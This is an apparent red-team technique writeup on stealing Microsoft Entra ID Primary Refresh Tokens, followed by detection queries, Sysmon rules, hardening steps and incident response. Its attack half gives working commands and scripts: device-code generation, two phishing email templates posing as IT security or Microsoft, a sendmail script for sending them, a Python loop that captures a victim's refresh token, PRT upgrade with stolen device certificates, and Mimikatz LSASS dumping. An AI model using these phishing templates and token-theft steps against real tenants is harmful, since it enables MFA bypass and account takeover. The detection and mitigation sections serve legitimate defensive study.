| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-014 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access, Lateral Movement |
| Platforms | Hybrid/Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016-2025, Windows 10/11; All Entra ID tenants |
| Patched In | No patch available; requires policy/architecture changes |
| Author | SERVTEP – Artur Pchelnikau |
Concept: A Primary Refresh Token (PRT) is a high-value token issued by Entra ID to users who sign in on Azure AD-joined or hybrid-joined devices. It enables single sign-on (SSO) across all Microsoft services without re-authentication. Attackers can steal PRTs through multiple methods: (1) Memory dumping via Mimikatz on compromised endpoints (especially Gen 1 VMs without TPM), (2) Device code phishing to acquire refresh tokens then upgrade them to PRTs using stolen device certificates, (3) Intercepting token material during the Windows device onboarding process. Once a PRT is stolen, the attacker can replay it from any network location, bypassing passwords and MFA entirely, gaining access to Azure Portal, M365, Teams, SharePoint, and other cloud services as the victim user. The attack is particularly dangerous because stolen PRTs remain valid for 14-90 days and can be used silently without triggering typical anomaly detection.
Attack Surface: Entra ID token issuance, Azure AD-joined device registry (PRT storage), Windows Hello for Business enrollment flows, OAuth device code flow, device certificate storage (registry or TPM), Primary Refresh Token lifecycle (14-90 days validity).
Business Impact: Complete cloud service compromise for affected users, unrestricted access to sensitive M365 data, lateral movement to cloud-only and hybrid resources, and persistent access that survives password resets and MFA disablement. A stolen PRT from a privileged user (Global Admin, Exchange Admin) results in full tenant compromise. Even PRT theft from regular users enables access to corporate email, files, Teams messages, and all user-accessible resources.
Technical Context: PRT theft can occur in as little as 5-10 minutes from initial device compromise. The attack is silent—no user-visible prompts, no MFA challenges, no password entry by attacker. Detection is difficult because stolen PRT usage generates legitimate-looking sign-in logs (TokenIssuerType: PRT) indistinguishable from normal user activity unless correlated with device state or geographic anomalies. Organizations that do not monitor for PRT theft or enforce TPM-protected device storage face severe compromise risk.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | v8 5.1.4 | Multi-factor authentication (MFA) must be enabled for all users |
| CIS Benchmark | v8 5.3 | Ensure that device-based conditional access policies are configured |
| DISA STIG | AC-2(1) | Service accounts must use multi-factor authentication for privileged access |
| CISA SCuBA | identity.4 | Multi-factor authentication must be enabled for all user accounts |
| NIST 800-53 | IA-2(1) | MFA must be implemented for all administrative logons |
| NIST 800-53 | IA-5 | Cryptographic mechanisms (TPM, cert storage) must protect authentication material |
| GDPR | Art. 32 | Security of Processing - Cryptographic protections for authentication tokens |
| DORA | Art. 9 | Protection and Prevention - Strong authentication and access controls |
| NIS2 | Art. 21 | Cyber Risk Management - Protection of critical authentication factors |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - Token management controls |
| ISO 27005 | Token Compromise Risk | Risk of unauthorized access via stolen authentication tokens |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: Entra ID all versions; Windows 10/11, Server 2016+
Objective: Start the OAuth device code flow, which generates a unique device code and code verification URI that the attacker will send in a phishing email to the target user.
Command (On Attacker’s Machine):
# Method 1: Using Azure CLI (Built-in Device Code Flow)
az login --use-device-code --allow-no-subscriptions
# Output will be displayed:
# To sign in, use a web browser to open the page https://microsoft.com/devicelogin
# and enter the code XXXXXXXXX to authenticate.
# Capture the device code
$deviceCode = "XXXXXXXXX" # From the output above
Command (Using ROADtools - Attacker Python Script):
# On Linux/attacker machine, use ROADtools to generate device code
roadtx devicecode
# Output:
# {
# "user_code": "XXXXXXXXX",
# "device_code": "YYYYYYYYYYYY...",
# "verification_url": "https://microsoft.com/devicelogin",
# "expires_in": 900 # 15 minutes
# }
# Save device code for later use
echo "YYYYYYYYYYYY..." > /tmp/device_code.txt
Expected Output:
Device Code: XXXXXXXXX
Verification URL: https://microsoft.com/devicelogin
Expiration: 900 seconds (15 minutes)
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Send a convincing phishing email to target user with the legitimate Microsoft device code login URL, disguised as a legitimate business request.
Phishing Email Template #1 (Security Update):
From: IT-Security@company.com
To: victim.user@company.com
Subject: URGENT: Verify Your Microsoft Account - Security Update Required
Dear [Victim Name],
Due to recent security policy updates, all users must verify their Microsoft account credentials immediately.
Please verify your account by clicking the link below and entering your authentication code:
https://microsoft.com/devicelogin
When prompted, enter the following code: XXXXXXXXX
This verification process typically takes less than 1 minute and is required to maintain access to company resources.
If you do not complete this verification within 24 hours, your account will be temporarily locked.
Thank you,
Microsoft Security Team
---
This is an automated message. Do not reply to this email.
Phishing Email Template #2 (Compliance Check):
From: compliance@company.com
To: victim.user@company.com
Subject: ACTION REQUIRED: Account Compliance Check - Expires in 24 Hours
Hello [Victim Name],
Your Microsoft account requires a compliance verification as part of our annual security audit.
To complete this process, please visit: https://microsoft.com/devicelogin
Enter code when prompted: XXXXXXXXX
Deadline: [Tomorrow's Date]
Account Information:
Username: victim.user@company.com
Current MFA Status: [Auto-filled from GAL]
Questions? Contact IT Support at [help desk email]
Best regards,
Compliance Team
Command (Send Phishing Email via External Relay - Attacker Infrastructure):
#!/bin/bash
# Using legitimate email service to send phishing
# Attacker controls mail relay (e.g., compromised email server or third-party relay)
EMAIL_TO="victim.user@company.com"
DEVICE_CODE="XXXXXXXXX"
DEVICE_LOGIN_URL="https://microsoft.com/devicelogin"
# Using sendmail or postfix
(
echo "From: IT-Security@company.com"
echo "To: $EMAIL_TO"
echo "Subject: URGENT: Verify Your Microsoft Account - Security Update"
echo ""
echo "Dear User,"
echo "Please verify your account immediately:"
echo ""
echo "Visit: $DEVICE_LOGIN_URL"
echo "Code: $DEVICE_CODE"
echo ""
echo "Thank you,"
echo "Microsoft Security Team"
) | sendmail -t
Expected Output (If Email Sent Successfully):
Email queued successfully
Recipient: victim.user@company.com
Subject: URGENT: Verify Your Microsoft Account
Status: Sent
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: After victim signs in on the Microsoft device login page, capture the refresh token that is sent back to the attacker’s device.
Command (Monitor Device Code Flow - On Attacker’s Machine):
# Using ROADtools to wait for victim authentication
# Command blocks until victim completes sign-in or timeout
roadtx devicecode --monitor
# Or using PowerShell with Azure CLI
# After running: az login --use-device-code
# The CLI will wait and automatically receive the token once victim signs in
# Monitor the process (in another terminal)
$process = Get-Process az*
Wait-Process -InputObject $process
# Once victim signs in, token is automatically cached
# Check for cached credentials
cat ~/.azure/accessTokens.json | Select-String "refreshToken"
Command (Capture Token Programmatically):
# Python script to intercept and log device code flow completion
import requests
import json
from datetime import datetime
# Device code from Step 1
DEVICE_CODE = "YYYYYYYYYYYY..."
TENANT_ID = "organizations" # or specific tenant
# Poll for token completion
URL = "https://login.microsoftonline.com/{}/oauth2/v2.0/token".format(TENANT_ID)
PAYLOAD = {
"client_id": "04b07795-8ddb-461a-bbee-02f9e1bf7b46", # Azure CLI client ID
"device_code": DEVICE_CODE,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code"
}
# Poll every 5 seconds (device code flow spec)
while True:
response = requests.post(URL, data=PAYLOAD)
result = response.json()
if "refresh_token" in result:
# Success! Victim has authenticated
print(f"[+] Refresh Token Captured!")
print(f"[+] User: {result.get('foci')}")
print(f"[+] Token (first 50 chars): {result['refresh_token'][:50]}...")
# Save token
with open("captured_refresh_token.txt", "w") as f:
f.write(result['refresh_token'])
break
elif result.get("error") == "authorization_pending":
print(f"[*] Waiting for user authentication... ({datetime.now()})")
time.sleep(5)
else:
print(f"[-] Error: {result}")
break
Expected Output:
[*] Waiting for user authentication... (2025-01-10 14:30:05)
[*] Waiting for user authentication... (2025-01-10 14:30:10)
[*] Waiting for user authentication... (2025-01-10 14:30:15)
[+] Refresh Token Captured!
[+] User: victim.user@company.com
[+] Token (first 50 chars): eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In...
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Use the captured refresh token, combined with a stolen device certificate and transport key, to request a Primary Refresh Token that bypasses MFA and password requirements.
Command (Using ROADtools - PRT Upgrade):
# Prerequisite: Have device certificate and transport key from evil VM
# Files: device_cert.pfx, device_transport_key.bin
# Use roadtx to upgrade refresh token to PRT
roadtx prtenrich \
-c device_cert.pfx \
-k device_transport_key.bin \
-r "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In..." \
--token-output prt.token
# Output:
# [+] PRT Successfully acquired
# [+] PRT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In...
# [+] PRT is valid for 14 days
Command (Using AADInternals - PowerShell Alternative):
Import-Module AADInternals
# Variables (from evil VM extraction)
$deviceCertPath = "C:\temp\device_cert.pfx"
$transportKeyPath = "C:\temp\device_transport_key.bin"
$refreshToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In..."
# Read certificate and key
$deviceCert = Get-Content $deviceCertPath -Encoding Byte
$transportKey = Get-Content $transportKeyPath -Encoding Byte
# Request PRT using device identity and refresh token
$prt = New-AADIntPrimaryRefreshToken `
-DeviceCertificate $deviceCert `
-DeviceTransportKey $transportKey `
-RefreshToken $refreshToken
Write-Host "PRT Successfully Acquired: $prt"
Write-Host "PRT is valid for 14 days (can be renewed to 90 days)"
# Save PRT for later use
$prt | Out-File -FilePath "C:\temp\prt.token" -NoNewline
Expected Output:
[+] Validating device certificate... OK
[+] Decrypting transport key... OK
[+] Requesting PRT with device identity...
[+] PRT Successfully acquired!
[+] PRT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlNoNmFDb0NBQyIsInR5cCI6IkpXVCJ9...
[+] Token Valid Until: 2025-01-24 (14 days)
[+] PRT can be renewed if used within renewal window (up to 90 days)
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11
Objective: Dump all tokens and credentials from memory, including PRTs if victim user is logged in to the compromised device.
Command (On Compromised Device with Local Admin):
# Download Mimikatz (pre-compiled or build from source)
mimikatz.exe
# Output: mimikatz # prompt
# Enable debug privilege (required for LSASS access)
privilege::debug
# Output: Privilege '20' OK
# List all tokens in memory
token::list /csv
# Output shows all tokens currently in memory
# Look for tokens with USER claims containing admin accounts
Command (Extract PRT Specifically):
mimikatz # dpapi::cache
# Shows DPAPI-cached credentials
mimikatz # sekurlsa::logonpasswords
# Dumps plaintext passwords and tokens from LSASS
# Or more specific:
mimikatz # token::whoami
# Shows current token context
mimikatz # sekurlsa::prt
# Attempts to extract Primary Refresh Tokens (newer Mimikatz versions)
PowerShell Alternative (Invoking Mimikatz):
# Load Mimikatz reflectively (evades disk-based detection)
$mimikatzPath = "C:\temp\mimikatz.exe"
# Run Mimikatz in background
Start-Process -FilePath $mimikatzPath -ArgumentList "privilege::debug`nsekurlsa::logonpasswords`ntoken::list /csv" -NoNewWindow -PassThru | Wait-Process
# Or use Invoke-Mimikatz (powersploit)
Invoke-Mimikatz -Command "privilege::debug`nsekurlsa::prt"
# Output includes any PRTs in memory
Expected Output:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::prt
PRT - Current PRT:
* PRT Cookie : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...
* Encryption Key : [hex key material]
* Transport Key : [hex key material]
* User : VICTIM.USER@COMPANY.COM
* Device : DEVICE-GUID
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Invoke-AtomicTest T1528 -TestNumbers 1
Invoke-AtomicTest T1528 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team - T1528
Version: 1.0.0+ (latest) Minimum Version: 0.9.0 Supported Platforms: Linux, macOS, Windows (Python 3.7+)
Version-Specific Notes:
Installation:
pip install roadtools
# Or from GitHub:
git clone https://github.com/dirkjanm/ROADtools
cd ROADtools
pip install .
Usage (Device Code Flow):
roadtx devicecode
# Output: Device code and verification URL
Usage (PRT Upgrade):
roadtx prtenrich -c device_cert.pfx -k device_transport_key.bin -r refresh_token
Version: 2.2.0+ (latest) Minimum Version: 2.1.0 Supported Platforms: Windows
Installation:
# Download pre-compiled from releases
# Or build from source:
git clone https://github.com/gentilkiwi/mimikatz
cd mimikatz
cmake -B build && cmake --build build --config Release
Usage (PRT Extraction):
mimikatz # privilege::debug
mimikatz # sekurlsa::prt
Rule Configuration:
KQL Query:
// Detect RefreshToken sign-in followed by PRT issuance from different device/location
let refreshTokenSignins = SigninLogs
| where AuthenticationMethodsUsed contains "refreshToken"
| where Status.additionalDetails contains "Device code flow" or AppDisplayName contains "Device Registration"
| where TimeGenerated > ago(2h)
| project RefreshTokenUPN = UserPrincipalName, RefreshTokenTime = TimeGenerated, RefreshTokenIP = IPAddress, RefreshTokenDeviceId = DeviceId;
let prtSignins = SigninLogs
| where TokenIssuerType == "PRT"
| where TimeGenerated > ago(2h)
| project PRTUserPrincipal = UserPrincipalName, PRTTime = TimeGenerated, PRTIP = IPAddress, PRTDeviceId = DeviceId;
refreshTokenSignins
| join kind=inner prtSignins on $left.RefreshTokenUPN == $right.PRTUserPrincipal
| where RefreshTokenTime < PRTTime and datetime_diff('minute', PRTTime, RefreshTokenTime) < 30
| where RefreshTokenIP != PRTIP or RefreshTokenDeviceId != PRTDeviceId
| project TimeGenerated = PRTTime, UserPrincipalName = RefreshTokenUPN,
RefreshTokenTime, PRTTime, RefreshTokenIP, PRTIP,
TimeGap = datetime_diff('minute', PRTTime, RefreshTokenTime),
AlertLevel = "High"
What This Detects:
Manual Configuration Steps (Azure Portal):
Device Code Phishing - RefreshToken to PRTHigh5 minutes2 hoursUserPrincipalNameRule Configuration:
KQL Query:
// Detect Mimikatz or tools attempting to extract PRT from memory
union isfuzzy=true
(
SecurityEvent
| where EventID == 3 // Process creation
| where (ProcessName contains "mimikatz" or CommandLine contains "mimikatz" or
CommandLine contains "sekurlsa" or CommandLine contains "token::prt" or
CommandLine contains "privilege::debug")
),
(
DeviceEvents
| where ActionType == "ProcessCreated"
| where FileName in ("mimikatz.exe", "x64\mimikatz.exe", "x86\mimikatz.exe")
| where ProcessCommandLine contains "prt" or ProcessCommandLine contains "sekurlsa"
)
| project TimeGenerated, Computer, FileName, CommandLine = ProcessCommandLine, InitiatingProcess = ParentImage
What This Detects:
Manual Configuration Steps (Azure Portal):
Mimikatz PRT Extraction AttemptCritical1 minute1 hourComputer, InitiatingProcessEvent ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Configuration Steps (PowerShell):
# Enable detailed process creation audit
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
# Query for Mimikatz execution
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688; StartTime=(Get-Date).AddHours(-1)} |
Where-Object {$_.Message -match "mimikatz|sekurlsa|privilege::debug"} |
Select-Object TimeCreated, Properties
Event ID: 5156 (Windows Firewall - Connection Attempt)
Manual Configuration Steps:
C:\Windows\System32\logfiles\firewall\pfirewall.logMinimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+
<!-- Detect Mimikatz and PRT extraction -->
<Sysmon schemaversion="4.82">
<RuleGroup name="Detect-Mimikatz" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">mimikatz</Image>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">sekurlsa</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">privilege::debug</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect LSASS access attempts -->
<RuleGroup name="Detect-LSASS-Access" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="contains">lsass.exe</TargetImage>
<GrantedAccess condition="contains">0x1010</GrantedAccess> <!-- PROCESS_VM_READ -->
</ProcessAccess>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Alert Name: “Suspicious Entra ID sign-in from new device”
Alert Name: “Impossible travel detected”
Manual Configuration Steps:
# Search for PRT sign-ins in audit log
Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Where-Object {$_.AuditData -match "PRT|tokenIssuerType"} |
Export-Csv -Path "C:\Audit\prt_logins.csv"
Action 1: Enforce TPM 2.0 for Azure VMs
Manual Steps (Azure Policy):
Microsoft.Compute/virtualMachines/securityProfile.securityType must equal “TrustedLaunch”PowerShell:
# Create policy to require TPM
$policy = @{
DisplayName = "Enforce TPM 2.0"
PolicyRule = @{
if = @{ field = "Microsoft.Compute/virtualMachines/securityProfile.securityType"; notEquals = "TrustedLaunch" }
then = @{ effect = "Deny" }
}
}
New-AzPolicyAssignment -Name "EnforceTPM" -Scope "/subscriptions/*" -PolicyDefinition $policy
Action 2: Enforce Intune Device Compliance - Require TPM
Manual Steps (Intune):
Action 3: Monitor for TPM Disablement
PowerShell Detection:
# Check if TPM is disabled on local machine
$tpm = Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm
if ($tpm.IsEnabled() -eq $false) {
Write-Warning "TPM is disabled - PRT theft risk is HIGH"
}
Action 1: Block Device Code Sign-Ins from Unknown Locations
Manual Steps (Conditional Access):
Block Device Code from Risky LocationsAction 2: Require Compliant Device for Admin Cloud Access
Manual Steps:
Require Compliant Device for Admins# 1. Check TPM status on local machine
$tpm = Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm
if ($null -ne $tpm) {
Write-Host "TPM Status: $(if ($tpm.IsEnabled()) {'Enabled'} else {'DISABLED - HIGH RISK'})"
} else {
Write-Host "TPM: Not present (may be firmware-based)"
}
# 2. Verify Conditional Access policies
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.State -eq "enabled"} | Select-Object DisplayName
# 3. Check Intune Device Compliance
# Via portal: Intune → Device Compliance → Policies → Review TPM requirement
# 4. Verify no Gen 1 VMs exist
Get-AzVM | Select-Object Name, @{Name="SecurityType"; Expression={$_.StorageProfile.OsDisk.ManagedDisk.StorageAccountType}} |
Where-Object {$_.SecurityType -ne "TrustedLaunch"}
Expected Output (If Secure):
TPM Status: Enabled
[Conditional Access policies listed with MFA/device compliance requirements]
No Gen 1 VMs found
login.microsoftonline.com from non-standard applicationdevice.login.microsoftonline.com followed by token acquisition/oauth2/v2.0/token endpointmimikatz.exe executionpowershell.exe with Mimikatz commands or token enumerationpython.exe executing roadtx commands# Disable/revoke all sessions for compromised user
Connect-MgGraph -Scopes "User.ReadWrite.All"
Revoke-MgUserRefreshToken -UserId (Get-MgUser -Filter "mail eq 'victim@company.com'").Id
# Disable device if physical device was compromised
Get-MgDevice -Filter "deviceId eq 'DEVICE-ID'" | Update-MgDevice -AccountEnabled $false
# Export sign-in logs for victim user
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'victim@company.com'" -All |
Export-Csv -Path "C:\Evidence\signin_logs.csv"
# Force password reset
$userId = (Get-MgUser -Filter "mail eq 'victim@company.com'").Id
Reset-MgUserPassword -UserId $userId -NewPassword (New-Guid).Guid
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Credential Access | REALWORLD-013 Evil VM Device Identity | Extract device certificate from Gen 1 VM without TPM |
| 2 | Current Step | [REALWORLD-014] | Phish admin for refresh token, upgrade to PRT using device cert |
| 3 | Lateral Movement | REALWORLD-015 Guest to Admin Azure VM | Use stolen PRT to access Azure Portal as admin |
| 4 | Privilege Escalation | Role Assignment Modification | Grant self additional Entra ID roles |
| 5 | Persistence | Service Principal Creation | Create backdoor service principal with credentials |
| 6 | Impact | Data Exfiltration | Access M365, SharePoint, Teams as admin |